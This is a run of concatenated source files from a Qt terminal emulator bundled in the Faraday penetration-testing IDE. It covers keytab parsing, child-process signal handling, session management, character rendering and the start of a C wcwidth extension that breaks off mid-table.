151 def addEntry(self, ref, key, bits, mask, cmd, txt):
152 """returns conflicting entry if any, else create it, add it to the
153 table, and return None
154 """
155 try:
156 return self._findEntry(key, bits, mask)
157 except EntryNotFound:
158 entry = KeyEntry(ref, key, bits, mask, cmd, txt)
159 self._table.append(entry)
160
161 def findEntry(self, key, newline, ansi, appcukeys, control, shift, alt):
162 if not self._file_read:
163 self.readConfig()
164 bits = encodeModes(newline, ansi, appcukeys) + encodeButtons(control, shift, alt)
165 return self._findEntry(key, bits)
166
167 def _findEntry(self, key, bits, mask=0xffff):
168 for entry in self._table:
169 if entry.matches(key, bits, 0xffff):
170 return entry
171 raise EntryNotFound('no entry matching %s %s %0x' % (key, bits, mask))
172
173 def hdr(self):
174 if not self._file_read:
175 self.readConfig()
176 return self._hdr
177
178
179
180 # Scanner for keyboard configuration ##########################################
181
182 OPR_SYMS = {
183 "scrollLineUp": CMD_scrollLineUp ,
184 "scrollLineDown":CMD_scrollLineDown,
185 "scrollPageUp": CMD_scrollPageUp ,
186 "scrollPageDown":CMD_scrollPageDown,
187 "emitSelection": CMD_emitSelection ,
188 "prevSession": CMD_prevSession ,
189 "nextSession": CMD_nextSession ,
190 "newSession": CMD_newSession ,
191 "activateMenu": CMD_activateMenu ,
192 "renameSession": CMD_renameSession ,
193 "moveSessionLeft": CMD_moveSessionLeft ,
194 "moveSessionRight": CMD_moveSessionRight ,
195 "scrollLock": CMD_scrollLock,
196 "emitClipboard": CMD_emitClipboard,
197 }
198
199 MOD_SYMS = {
200 # Modifier
201 "Shift": BITS_Shift ,
202 "Control": BITS_Control ,
203 "Alt": BITS_Alt ,
204 # Modes
205 "BsHack": BITS_BsHack , # deprecated
206 "Ansi": BITS_Ansi ,
207 "NewLine": BITS_NewLine ,
208 "AppCuKeys": BITS_AppCuKeys ,
209 }
210
211 KEY_SYMS = {
212 # Grey keys
213 "Escape": qt.Qt.Key_Escape ,
214 "Tab": qt.Qt.Key_Tab ,
215 "Backtab": qt.Qt.Key_Backtab ,
216 "Backspace": qt.Qt.Key_Backspace ,
217 "Return": qt.Qt.Key_Return ,
218 "Enter": qt.Qt.Key_Enter ,
219 "Insert": qt.Qt.Key_Insert ,
220 "Delete": qt.Qt.Key_Delete ,
221 "Pause": qt.Qt.Key_Pause ,
222 "Print": qt.Qt.Key_Print ,
223 "SysReq": qt.Qt.Key_SysReq ,
224 "Home": qt.Qt.Key_Home ,
225 "End": qt.Qt.Key_End ,
226 "Left": qt.Qt.Key_Left ,
227 "Up": qt.Qt.Key_Up ,
228 "Right": qt.Qt.Key_Right ,
229 "Down": qt.Qt.Key_Down ,
230 "Prior": qt.Qt.Key_Prior ,
231 "Next": qt.Qt.Key_Next ,
232 "Shift": qt.Qt.Key_Shift ,
233 "Control": qt.Qt.Key_Control ,
234 "Meta": qt.Qt.Key_Meta ,
235 "Alt": qt.Qt.Key_Alt ,
236 "CapsLock": qt.Qt.Key_CapsLock ,
237 "NumLock": qt.Qt.Key_NumLock ,
238 "ScrollLock": qt.Qt.Key_ScrollLock ,
239 "F1": qt.Qt.Key_F1 ,
240 "F2": qt.Qt.Key_F2 ,
241 "F3": qt.Qt.Key_F3 ,
242 "F4": qt.Qt.Key_F4 ,
243 "F5": qt.Qt.Key_F5 ,
244 "F6": qt.Qt.Key_F6 ,
245 "F7": qt.Qt.Key_F7 ,
246 "F8": qt.Qt.Key_F8 ,
247 "F9": qt.Qt.Key_F9 ,
248 "F10": qt.Qt.Key_F10 ,
249 "F11": qt.Qt.Key_F11 ,
250 "F12": qt.Qt.Key_F12 ,
251 "F13": qt.Qt.Key_F13 ,
252 "F14": qt.Qt.Key_F14 ,
253 "F15": qt.Qt.Key_F15 ,
254 "F16": qt.Qt.Key_F16 ,
255 "F17": qt.Qt.Key_F17 ,
256 "F18": qt.Qt.Key_F18 ,
257 "F19": qt.Qt.Key_F19 ,
258 "F20": qt.Qt.Key_F20 ,
259 "F21": qt.Qt.Key_F21 ,
260 "F22": qt.Qt.Key_F22 ,
261 "F23": qt.Qt.Key_F23 ,
262 "F24": qt.Qt.Key_F24 ,
263 "F25": qt.Qt.Key_F25 ,
264 "F26": qt.Qt.Key_F26 ,
265 "F27": qt.Qt.Key_F27 ,
266 "F28": qt.Qt.Key_F28 ,
267 "F29": qt.Qt.Key_F29 ,
268 "F30": qt.Qt.Key_F30 ,
269 "F31": qt.Qt.Key_F31 ,
270 "F32": qt.Qt.Key_F32 ,
271 "F33": qt.Qt.Key_F33 ,
272 "F34": qt.Qt.Key_F34 ,
273 "F35": qt.Qt.Key_F35 ,
274 "Super_L": qt.Qt.Key_Super_L ,
275 "Super_R": qt.Qt.Key_Super_R ,
276 "Menu": qt.Qt.Key_Menu ,
277 "Hyper_L": qt.Qt.Key_Hyper_L ,
278 "Hyper_R": qt.Qt.Key_Hyper_R ,
279 # Regular keys
280 "Space": qt.Qt.Key_Space ,
281 "Exclam": qt.Qt.Key_Exclam ,
282 "QuoteDbl": qt.Qt.Key_QuoteDbl ,
283 "NumberSign": qt.Qt.Key_NumberSign ,
284 "Dollar": qt.Qt.Key_Dollar ,
285 "Percent": qt.Qt.Key_Percent ,
286 "Ampersand": qt.Qt.Key_Ampersand ,
287 "Apostrophe": qt.Qt.Key_Apostrophe ,
288 "ParenLeft": qt.Qt.Key_ParenLeft ,
289 "ParenRight": qt.Qt.Key_ParenRight ,
290 "Asterisk": qt.Qt.Key_Asterisk ,
291 "Plus": qt.Qt.Key_Plus ,
292 "Comma": qt.Qt.Key_Comma ,
293 "Minus": qt.Qt.Key_Minus ,
294 "Period": qt.Qt.Key_Period ,
295 "Slash": qt.Qt.Key_Slash ,
296 "0": qt.Qt.Key_0 ,
297 "1": qt.Qt.Key_1 ,
298 "2": qt.Qt.Key_2 ,
299 "3": qt.Qt.Key_3 ,
300 "4": qt.Qt.Key_4 ,
301 "5": qt.Qt.Key_5 ,
302 "6": qt.Qt.Key_6 ,
303 "7": qt.Qt.Key_7 ,
304 "8": qt.Qt.Key_8 ,
305 "9": qt.Qt.Key_9 ,
306 "Colon": qt.Qt.Key_Colon ,
307 "Semicolon": qt.Qt.Key_Semicolon ,
308 "Less": qt.Qt.Key_Less ,
309 "Equal": qt.Qt.Key_Equal ,
310 "Greater": qt.Qt.Key_Greater ,
311 "Question": qt.Qt.Key_Question ,
312 "At": qt.Qt.Key_At ,
313 "A": qt.Qt.Key_A ,
314 "B": qt.Qt.Key_B ,
315 "C": qt.Qt.Key_C ,
316 "D": qt.Qt.Key_D ,
317 "E": qt.Qt.Key_E ,
318 "F": qt.Qt.Key_F ,
319 "G": qt.Qt.Key_G ,
320 "H": qt.Qt.Key_H ,
321 "I": qt.Qt.Key_I ,
322 "J": qt.Qt.Key_J ,
323 "K": qt.Qt.Key_K ,
324 "L": qt.Qt.Key_L ,
325 "M": qt.Qt.Key_M ,
326 "N": qt.Qt.Key_N ,
327 "O": qt.Qt.Key_O ,
328 "P": qt.Qt.Key_P ,
329 "Q": qt.Qt.Key_Q ,
330 "R": qt.Qt.Key_R ,
331 "S": qt.Qt.Key_S ,
332 "T": qt.Qt.Key_T ,
333 "U": qt.Qt.Key_U ,
334 "V": qt.Qt.Key_V ,
335 "W": qt.Qt.Key_W ,
336 "X": qt.Qt.Key_X ,
337 "Y": qt.Qt.Key_Y ,
338 "Z": qt.Qt.Key_Z ,
339 "BracketLeft": qt.Qt.Key_BracketLeft ,
340 "Backslash": qt.Qt.Key_Backslash ,
341 "BracketRight": qt.Qt.Key_BracketRight,
342 "AsciiCircum": qt.Qt.Key_AsciiCircum ,
343 "Underscore": qt.Qt.Key_Underscore ,
344 "QuoteLeft": qt.Qt.Key_QuoteLeft ,
345 "BraceLeft": qt.Qt.Key_BraceLeft ,
346 "Bar": qt.Qt.Key_Bar ,
347 "BraceRight": qt.Qt.Key_BraceRight ,
348 "AsciiTilde": qt.Qt.Key_AsciiTilde ,
349 }
350
351 KEY_DEF_SPLIT_RGX = re.compile('[+-]?\W*\w+')
352
353 class KeytabReader:
354 """Scanner for keyboard configuration"""
355
356 def __init__(self, path, stream):
357 self.stream = stream
358 self.path = path
359 self.linno = None
360
361 def parseTo(self, kt):
362 """fill the given KeyTrans according to the parsed stream
363
364 XXX: need to check that keyboard header is encountered first
365 """
366 self.linno = 1
367 for line in self.stream:
368 line = line.strip()
369 self.linno += 1
370 if not line or line.startswith('#'):
371 continue
372 # remove comments at the end of the line
373 line = line.split('#', 1)[0]
374 words = line.split()
375 linetype = words.pop(0)
376 # check the line begins with word "key"
377 if linetype == 'keyboard':
378 self._parseKeyboard(kt, ' '.join(words))
379 elif linetype == 'key':
380 self._parseKey(kt, ' '.join(words))
381 else:
382 self._reportError('malformed line')
383
384 def _parseKeyboard(self, kt, string):
385 '''example keyboard line:
386
387 keyboard "XTerm (XFree 4.x.x)"
388
389 here only the last part is received ("keyboard" has been removed)
390 '''
391 if not (string[0] == '"' and string[-1] == '"'):
392 self._reportError('malformed string %s' % string)
393 else:
394 kt._hdr = string[1:-1] # unquote
395
396 def _parseKey(self, kt, string):
397 '''example key lines
398
399 key Escape : "\E"
400 key Tab -Shift : "\t"
401 key Tab +Shift-Ansi : "\t"
402 key Return-Shift+NewLine : "\r\n"
403 key Return+Shift : "\EOM"
404
405 here only the last part is received ("key" has been removed)
406 '''
407 symbols, keystr = [w.strip() for w in string.split(':', 1)]
408 # symbols should be a list of names with +- to concatenate them
409 key = None
410 mode = 0
411 mask = 0
412 for op_sym in KEY_DEF_SPLIT_RGX.findall(symbols):
413 op_sym = op_sym.strip()
414 if key is None:
415 try:
416 key = KEY_SYMS[op_sym]# - 1 # XXX why -1 ?
417 except KeyError:
418 self._reportError('%s is not a valid key' % op_sym)
419 return
420 else:
421 # search +/-
422 op, mod = op_sym[0], op_sym[1:].strip()
423 if not op in '+-':
424 self._reportError('expect + or - before modifier %s' % mod)
425 return
426 on = op == '+'
427 try:
428 bits = MOD_SYMS[mod]# - 1 # XXX why -1
429 except KeyError:
430 self._reportError('%s is not a valid mode or modifier' % mod)
431 return
432 if mask & (1 << bits):
433 self._reportError('mode name %s used multible times' % mod)
434 else:
435 mode |= (on << bits)
436 mask |= (1 << bits)
437 # decode the key
438 try:
439 cmd = OPR_SYMS[keystr]# - 1 # XXX why -1
440 except KeyError:
441 if not (keystr[0] == '"' and keystr[-1] == '"'):
442 self._reportError('malformed string or operation %s' % string)
443 return
444 else:
445 cmd = CMD_send
446 keystr = eval(keystr) # unquote + evaluation of special characters
447 keystr = keystr.replace('\\E', '\033')
448 entry = kt.addEntry(self.linno, key, mode, mask, cmd, keystr)
449 if entry:
450 self._reportError('keystroke already assigned in line %d' % entry.ref)
451
452 def _reportError(self, msg):
453 print >> sys.stderr, '%s line %s: %s' % (self.linno, self.path, msg)
454
455
456 loadAll()
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """KPROCESSCONTROLLER -- A helper class for KProcess
9
10
11 using a struct which contains both the pid and the status makes it
12 easier to write and read the data into the pipe.
13 especially this solves a problem which appeared on my box where
14 slotDoHouseKeeping() received only 4 bytes (with some debug output
15 around the write()'s it received all 8 bytes). don't know why this
16 happened, but when writing all 8 bytes at once it works here, aleXXX
17
18 struct waitdata
19 {
20 pid_t pid
21 int status
22 }
23
24 Based on the konsole code from Lars Doelle.
25
26 @author: Lars Doelle
27 @author: Sylvain Thenault
28 @copyright: 2003, 2005, 2006
29 @organization: CEA-Grenoble
30 @organization: Logilab
31 @license: CECILL
32
33 XXX review singleton aspect
34 """
35 __revision__ = '$Id: procctrl.py,v 1.10 2006-02-15 10:24:01 alf Exp $'
36
37 import os
38 import errno
39 import fcntl
40 import select
41 import signal
42 import struct
43 import sys
44 import qt
45 from model.api import devlog
46
47 def waitChildren():
48 """wait for all children process, yield (pid, status) each time one
49 is existing
50 """
51 while 1:
52 try:
53 yield os.waitpid(-1, os.WNOHANG)
54 except OSError, ex:
55 if ex.errno == errno.ECHILD:
56 break
57 raise
58
59 theProcessController = None
60
61 class ProcessController(qt.QObject):
62 """ A class for internal use by Process only. -- Exactly one instance
63 of this class is generated by the first instance of Process that is
64 created (a pointer to it gets stored in @ref theProcessController ).
65
66 This class takes care of the actual (UN*X) signal handling.
67 """
68
69 def __init__(self):
70 super(ProcessController, self).__init__()
71 #global theProcessController
72 #assert theProcessController is None
73 self.old_sigCHLDHandler = None
74 self.handler_set = False
75 self.process_list = []
76 self.fd = os.pipe()
77 # delayed children cleanup timer
78 self._dcc_timer = qt.QTimer()
79 fcntl.fcntl(self.fd[0], fcntl.F_SETFL, os.O_NONBLOCK)
80 notifier = qt.QSocketNotifier(self.fd[0], qt.QSocketNotifier.Read, self)
81 self.connect(notifier, qt.SIGNAL('activated(int)'),
82 self.slotDoHousekeeping)
83 self.connect(self._dcc_timer, qt.SIGNAL('timeout()'),
84 self.delayedChildrenCleanup)
85 #theProcessController = self
86 self.setupHandlers()
87
88 ## def __del__(self):
89 ## global theProcessController
90 ## assert theProcessController is self
91 ## self.resetHandlers()
92 ## self.notifier.setEnabled(False)
93 ## os.close(self.fd[0])
94 ## os.close(self.fd[1])
95 ## del self.notifier
96 ## theProcessController = None
97
98 def setupHandlers(self):
99 if self.handler_set:
100 return
101 self.old_sigCHLDHandler = signal.getsignal(signal.SIGCHLD)
102 signal.signal(signal.SIGCHLD, self.sigCHLDHandler)
103 #sigaction( SIGCHLD, &act, &self.old_sigCHLDHandler )
104 #act.sa_handler=SIG_IGN
105 #sigemptyset(&(act.sa_mask))
106 #sigaddset(&(act.sa_mask), SIGPIPE)
107 #act.sa_flags = 0
108 #sigaction( SIGPIPE, &act, 0L)
109 signal.signal(signal.SIGPIPE, signal.SIG_IGN)
110 self.handler_set = True
111
112 def resetHandlers(self):
113 if not self.handler_set:
114 return
115 signal.signal(signal.SIGCHLD, self.old_sigCHLDHandler)
116 # there should be no problem with SIGPIPE staying SIG_IGN
117 self.handler_set = False
118
119 def addProcess(self, process):
120 # XXX block SIGCHLD handler, because it accesses self.process_list
121 #sigset_t newset, oldset
122 #sigemptyset( &newset )
123 #sigaddset( &newset, SIGCHLD )
124 #sigprocmask( SIG_BLOCK, &newset, &oldset )
125 self.process_list.append(process)
126 #sigprocmask( SIG_SETMASK, &oldset, 0 )
127
128 def removeProcess(self, process):
129 # XXX block SIGCHLD handler, because it accesses self.process_list
130 #sigset_t newset, oldset
131 #sigemptyset( &newset )
132 #sigaddset( &newset, SIGCHLD )
133 #sigprocmask( SIG_BLOCK, &newset, &oldset )
134 self.process_list.remove(process)
135 #sigprocmask( SIG_SETMASK, &oldset, 0 )
136
137
138 def sigCHLDHandler(self, sig, frame):
139 """SIGCHLD handler
140
141 :signal: int
142 :frame: frame object
143
144 Automatically called upon SIGCHLD.
145
146 Normally you do not need to do anything with this function but
147 if your application needs to disable SIGCHLD for some time for
148 reasons beyond your control, you should call this function afterwards
149 to make sure that no SIGCHLDs where missed.
150 """
151 found = False
152 # iterating the list doesn't perform any system call
153 for process in self.process_list:
154 if process.pid is None:
155 continue
156 if not process.running:
157 continue
158 try:
159 wpid, status = os.waitpid(process.pid, os.WNOHANG)
160 except OSError:
161 # [Errno 10] No child processes
162 # XXX: bug in process.py ?
163 continue
164 if wpid > 0:
165 os.write(self.fd[1], struct.pack('II', wpid, status))
166 devlog("sigCHLDHandler - signal = %d - wpid = %d - status = %d" % (sig, wpid, status))
167 found = True
168 if (not found and
169 not self.old_sigCHLDHandler in (signal.SIG_IGN, signal.SIG_DFL)):
170 self.old_sigCHLDHandler(sig) # call the old handler
171 # handle the rest
172 # XXX
173 #os.write(self.fd[1], struct.pack('II', 0, 0)) # delayed waitpid()
174
175 def slotDoHousekeeping(self, _):
176 """NOTE: It can happen that QSocketNotifier fires while
177 we have already read from the socket. Deal with it.
178
179 read pid and status from the pipe.
180 """
181 bytes_read = ''
182 while not bytes_read:
183 try:
184 bytes_read = os.read(self.fd[0], struct.calcsize('II'))
185 except OSError, ex:
186 if ex.errno == errno.EAGAIN:
187 return
188 if ex.errno == errno.EINTR:
189 msg = ("Error: pipe read returned errno=%d "
190 "in ProcessController::slotDoHousekeeping")
191 print >> sys.stderr, msg % ex.errno
192 return
193 if len(bytes_read) != struct.calcsize('II'):
194 msg = "Error: Could not read info from signal handler %d <> %d!"
195 print >> sys.stderr, msg % (len(bytes_read), struct.calcsize('II'))
196 return
197 pid, status = struct.unpack('II', bytes_read)
198 devlog("slotDoHousekeeping - pid = %d - status = %d" % (pid, status))
199 # if status != 0 means it didn't exit gracefully (running exit command for example)
200 # but it was killed somehow
201 if pid == 0:
202 #XXX: we don't start the timer because delayedChildrenCleanup would be triggered
203 # and that enters into an infinite loop that hangs the application
204 #self._dcc_timer.start(100, True)
205 return
206 for process in self.process_list:
207 if process.pid == pid:
208 process.processHasExited(status)
209 return
210
211 def delayedChildrenCleanup(self):
212 """this is needed e.g. for popen(), which calls waitpid() checking
213 // for its forked child, if we did waitpid() directly in the SIGCHLD
214 // handler, popen()'s waitpid() call would fail
215 """
216 for wpid, status in waitChildren():
217 for process in self.process_list:
218 if not process.running or process.pid != wpid:
219 continue
220 # it's Process, handle it
221 os.write(self.fd[1], struct.pack('II', wpid, status))
222 break
223
224 def waitForProcessExit(self, timeout):
225 """
226 * Wait for any process to exit and handle their exit without
227 * starting an event loop.
228 * This function may cause Process to emit any of its signals.
229 *
230 * return True if a process exited, False if no process exited within
231 @p timeout seconds.
232 // Due to a race condition the signal handler may have
233 // failed to detect that a pid belonged to a Process
234 // and defered handling to delayedChildrenCleanup()
235 // Make sure to handle that first.
236 """
237 if self._dcc_timer.isActive():
238 self._dcc_timer.stop()
239 self.delayedChildrenCleanup()
240 while True:
241 rlist, wlist, xlist = select.select([self.fd[0]], [], [], timeout)
242 if not rlist:
243 return False
244 else:
245 self.slotDoHousekeeping(self.fd[0])
246 break
247 return True
248
249
250 theProcessController = ProcessController()
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """Provides the Session class. Sessions are combinations of PtyProcess and
9 Emulation.
10
11 The stuff in here does not really belong to the terminal emulation framework. It
12 serves it's duty by providing a single reference to TEPTy/Emulation pairs. In
13 fact, it is only there to demonstrate one of the abilities of the framework:
14 multible sessions.
15
16 Based on the konsole code from Lars Doelle.
17
18 @author: Lars Doelle
19 @author: Sylvain Thenault
20 @copyright: 2003, 2005-2006
21 @organization: Logilab
22 @license: CECILL
23 """
24
25 __revision__ = '$Id: session.py,v 1.13 2006-02-15 10:24:01 alf Exp $'
26
27 import os
28 import qt
29 import shell.core.signalable as signalable
30 import shell.core.qt3.pty_ as pty_
31 import emulation
32 import emuVt102
33
34
35 class Session(signalable.Signalable, qt.QObject):
36 """A Session is a combination of one PTyProcess and one Emulation instances
37 """
38
39 SILENCE_TIMEOUT = 10000 # milliseconds
40
41 def __init__(self, gui, pgm, args, term, sessionid='session-1', cwd=None):
42 super(Session, self).__init__()
43 self.monitor_activity = False
44 self._monitor_silence = False # see the property below
45 self.master_mode = False
46 # FIXME: using the indices here is propably very bad. We should use a
47 # persistent reference instead.
48 self.schema_no = 0
49 self.font_no = 3
50 self.app_id = "qonsole"
51 self.icon_name = 'openterm'
52 self.icon_text = 'qonsole'
53 self.state_icon_name = ''
54 self.title = ''
55 self.user_title = ''
56 self.te = gui
57 self.pgm = pgm
58 self.args = args
59 self.term = term
60 self.session_id = sessionid
61 self.cwd = cwd
62 #XXX: IMPORTANT ABOUT USER INPUT AND PROCESS OUPUT
63 # PtyProcess in method dataReceived gets the child output
64 # in method sendBytes it has the user input
65 self.sh = pty_.PtyProcess()
66 # Emulation in method sendString also has the user input
67 # also check method onKeyPressed to identify when an ENTER key is pressed
68 self.em = emuVt102.EmuVt102(self.te)
69 self.monitor_timer = qt.QTimer(self)
70 self.sh.setSize(self.te.lines, self.te.columns)
71 self.sh.myconnect('block_in', self.em.onRcvBlock)
72 self.sh.myconnect('done', self.done)
73 self.em.myconnect('imageSizeChanged', self.sh.setSize)
74 self.em.myconnect('sndBlock', self.sh.sendBytes)
75 self.em.myconnect('changeTitle', self.setUserTitle)
76 self.em.myconnect('notifySessionState', self.notifySessionState)
77 self.connect(self.monitor_timer, qt.SIGNAL('timeout()'), self.monitorTimerDone)
78
79 def __del__(self):
80 self.sh.mydisconnect('done', self.done)
81
82 def setMonitorSilence(self, monitor):
83 if self._monitor_silence == monitor:
84 return
85 self._monitor_silence = monitor
86 if monitor:
87 self.monitor_timer.start(self.SILENCE_TIMEOUT, True)
88 else:
89 self.monitor_timer.stop()
90
91 def getMonitorSilence(self):
92 return self._monitor_silence
93
94 monitor_silence = property(getMonitorSilence, setMonitorSilence)
95
96 def run(self):
97 cwd_save = os.getcwd()
98 if self.cwd:
99 os.chdir(self.cwd)
100 self.sh.run(self.pgm, self.args, self.term, True)
101 if self.cwd:
102 os.chdir(cwd_save)
103 # We are reachable via kwrited XXX not needed by pyqonsole ?
104 self.sh.setWriteable(False)
105
106
107 def setUserTitle(self, what, caption):
108 """
109 what=0 changes title and icon
110 what=1 only icon
111 what=2 only title
112 """
113 if what in (0, 2):
114 self.user_title = caption
115 if what in (0, 1):
116 self.icon_text = caption
117 self.myemit('updateTitle', ())
118
119 def fullTitle(self):
120 if self.user_title:
121 return '%s - %s' % (self.user_title, self.title)
122 return self.title
123
124 def testAndSetStateIconName(self, newname):
125 if (newname != self.state_icon_name):
126 self.state_icon_name = newname
127 return True
128 return False
129
130 def monitorTimerDone(self):
131 self.myemit('notifySessionState', (emulation.NOTIFYSILENCE,))
132 self.monitor_timer.start(self.SILENCE_TIMEOUT, True)
133
134 def notifySessionState(self, state):
135 if state == emulation.NOTIFYACTIVITY:
136 if self.monitor_silence:
137 self.monitor_timer.stop()
138 self.monitor_timer.start(self.SILENCE_TIMEOUT, True)
139 if not self.monitor_activity:
140 return
141 self.myemit('notifySessionState', (state,))
142
143 def done(self, status):
144 self.myemit('done', (self, status,))
145
146 def terminate(self):
147 self.sh.mydisconnect('done', self.done)
148 self.sh.sendBytes("exit\r")
149
150 def sendSignal(self, signal):
151 return self.sh.kill(signal)
152
153 def setConnect(self, connected):
154 self.em.setConnect(connected)
155
156 def keymap(self):
157 return self.em.keymap()
158
159 def setKeymap(self, kn):
160 self.em.setKeymap(kn)
161
162 def setHistory(self, history):
163 self.em.setHistory(history)
164
165 def history(self):
166 return self.em.history()
167
168 def get_shell_ps1(self):
169 self.sh.sendBytes("echo $PS1")
170
171 def set_shell_ps1(self, format):
172 self.sh.sendBytes("export PS1=\"%s\"\r" % format)
173 #self.sh.sendBytes("export PS1=\"\\e[1;32m<[\\u@\\h \\W]>\\$ \\e[m\"\r")
174 self.sh.sendBytes("clear\r")
175
176 def updateLastUserInputLine(self):
177 """
178 this is called when an interactive command finished and
179 we want to save the cursor x,y coordinates for future
180 user input parsing
181 The coordinates are really stored in the emulation
182 """
183 self.em.updateLastCursorPos(True)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 __all__ = ['ca', 'common', 'helpers', 'history', 'screen', 'signalable']
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """Provide the Ca class and some other rendering utilities.
9
10 Based on the konsole code from Lars Doelle.
11
12 @author: Lars Doelle
13 @author: Benjamin Longuet
14 @author: Frederic Mantegazza
15 @author: Cyrille Boullier
16 @author: Sylvain Thenault
17 @copyright: 2003, 2005-2006
18 @organization: CEA-Grenoble
19 @organization: Logilab
20 @license: CECILL
21 """
22
23 __revision__ = "$Id: ca.py,v 1.16 2006-02-15 10:24:01 alf Exp $"
24
25 BASE_COLORS = 2+8
26 _INTENSITIES = 2
27 TABLE_COLORS = _INTENSITIES * BASE_COLORS
28
29 DEFAULT_FORE_COLOR = -1
30 DEFAULT_BACK_COLOR = 0
31
32 DEFAULT_RENDITION = 0
33 RE_BOLD = 2**0
34 RE_BLINK = 2**1
35 RE_UNDERLINE = 2**2
36 RE_REVERSE = 2**3
37 RE_CURSOR = 2**4
38
39
40 class Ca(object):
41 """a character with background / foreground colors and rendition attributes
42 """
43 __slots__ = ('c', 'f', 'b', 'r')
44
45 def __init__(self, c=u' ', f=DEFAULT_FORE_COLOR,
46 b=DEFAULT_BACK_COLOR, r=DEFAULT_RENDITION):
47 self.c = c
48 self.f = f
49 self.b = b
50 self.r = r
51
52 def __eq__(self, other):
53 """implements the '==' operator"""
54 return (self.c == other.c and self.f == other.f and
55 self.b == other.b and self.r == other.r)
56
57 def __ne__(self, other):
58 """implements the '!=' operator"""
59 return (self.c != other.c or self.f != other.f or
60 self.b != other.b or self.r != other.r)
61
62 def __repr__(self):
63 """to help debugging"""
64 return '%r %s %s %r' % (self.c, self.f, self.b, self.r)
65
66 def isSpace(self):
67 """return true if this character can be considered as a space"""
68 return self.c.isspace()
69
70 def charClass(self, word_characters=u":@-./_~"):
71 """return a kind of category for this char
72 * space (' ')
73 * alpha numeric ('a')
74 * other (1)
75 """
76 char = self.c
77 if char.isspace():
78 return ' '
79 if char.isalnum() or char in word_characters:
80 return 'a'
81
82 return 1
83
84
85
86
87
88
89
90
91
92 DCA = Ca()
93
94
95 class ColorEntry:
96 """a color with additional attribute (transparent / bold)
97 """
98 def __init__(self, c=None, tr=False, b=False):
99 self.color = c
100 self.transparent = tr
101 self.bold = b
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 This module contains common functions that can be used by the shell
8 """
9
10 def CTRL(c):
11 """return the code of the given character when typed with the control
12 button enabled
13 """
14 return ord(c) - ord("@")
0 /* This module contains all python functions written in C
1 */
2
3 /* code comes from http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c See
4 * http://www.cl.cam.ac.uk/~mgk25/ucs/scw-proposal.html for more
5 * information
6 */
7
8 #include <Python.h>
9
10
11 struct interval {
12 int first;
13 int last;
14 };
15
16 /* auxiliary function for binary search in interval table */
17 static int bisearch(int ucs, const struct interval *table, int max) {
18 int min = 0;
19 int mid;
20
21 if (ucs < table[0].first || ucs > table[max].last)
22 return 0;
23 while (max >= min) {
24 mid = (min + max) / 2;
25 if (ucs > table[mid].last)
26 min = mid + 1;
27 else if (ucs < table[mid].first)
28 max = mid - 1;
29 else
30 return 1;
31 }
32
33 return 0;
34 }
35
36
37 /* The following functions define the column width of an ISO 10646
38 * character as follows:
39 *
40 * - The null character (U+0000) has a column width of 0.
41 *
42 * - Other C0/C1 control characters and DEL will lead to a return
43 * value of -1.
44 *
45 * - Non-spacing and enclosing combining characters (general
46 * category code Mn or Me in the Unicode database) have a
47 * column width of 0.
48 *
49 * - SOFT HYPHEN (U+00AD) has a column width of 1.
50 *
51 * - Other format characters (general category code Cf in the Unicode
52 * database) and ZERO WIDTH SPACE (U+200B) have a column width of 0.
53 *
54 * - Hangul Jamo medial vowels and final consonants (U+1160-U+11FF)
55 * have a column width of 0.
56 *
57 * - Spacing characters in the East Asian Wide (W) or East Asian
58 * FullWidth (F) category as defined in Unicode Technical
59 * Report #11 have a column width of 2.
60 *
61 * - All remaining characters (including all printable
62 * ISO 8859-1 and WGL4 characters, Unicode control characters,
63 * etc.) have a column width of 1.
64 *
65 * This implementation assumes that unsigned short characters are encoded
66 * in ISO 10646.
67 */
68
69 static PyObject* qonsole_wcwidth(PyObject* self, PyObject* args)
70 {
71 int ucs;
72 int ret;
73
74 if (!PyArg_ParseTuple(args, "i", &ucs)) {
75 return NULL;
76 }
77
78 /* sorted list of non-overlapping intervals of non-spacing characters */
79 /* generated by "uniset +cat=Me +cat=Mn +cat=Cf -00AD +1160-11FF +200B c" */
80 static const struct interval combining[] = {
81 { 0x0300, 0x0357 }, { 0x035D, 0x036F }, { 0x0483, 0x0486 },
82 { 0x0488, 0x0489 }, { 0x0591, 0x05A1 }, { 0x05A3, 0x05B9 },
83 { 0x05BB, 0x05BD }, { 0x05BF, 0x05BF }, { 0x05C1, 0x05C2 },
84 { 0x05C4, 0x05C4 }, { 0x0600, 0x0603 }, { 0x0610, 0x0615 },
85 { 0x064B, 0x0658 }, { 0x0670, 0x0670 }, { 0x06D6, 0x06E4 },
86 { 0x06E7, 0x06E8 }, { 0x06EA, 0x06ED }, { 0x070F, 0x070F },
87 { 0x0711, 0x0711 }, { 0x0730, 0x074A }, { 0x07A6, 0x07B0 },
88 { 0x0901, 0x0902 }, { 0x093C, 0x093C }, { 0x0941, 0x0948 },
89 { 0x094D, 0x094D }, { 0x0951, 0x0954 }, { 0x0962, 0x0963 },
90 { 0x0981, 0x0981 }, { 0x09BC, 0x09BC }, { 0x09C1, 0x09C4 },
91 { 0x09CD, 0x09CD }, { 0x09E2, 0x09E3 }, { 0x0A01, 0x0A02 },
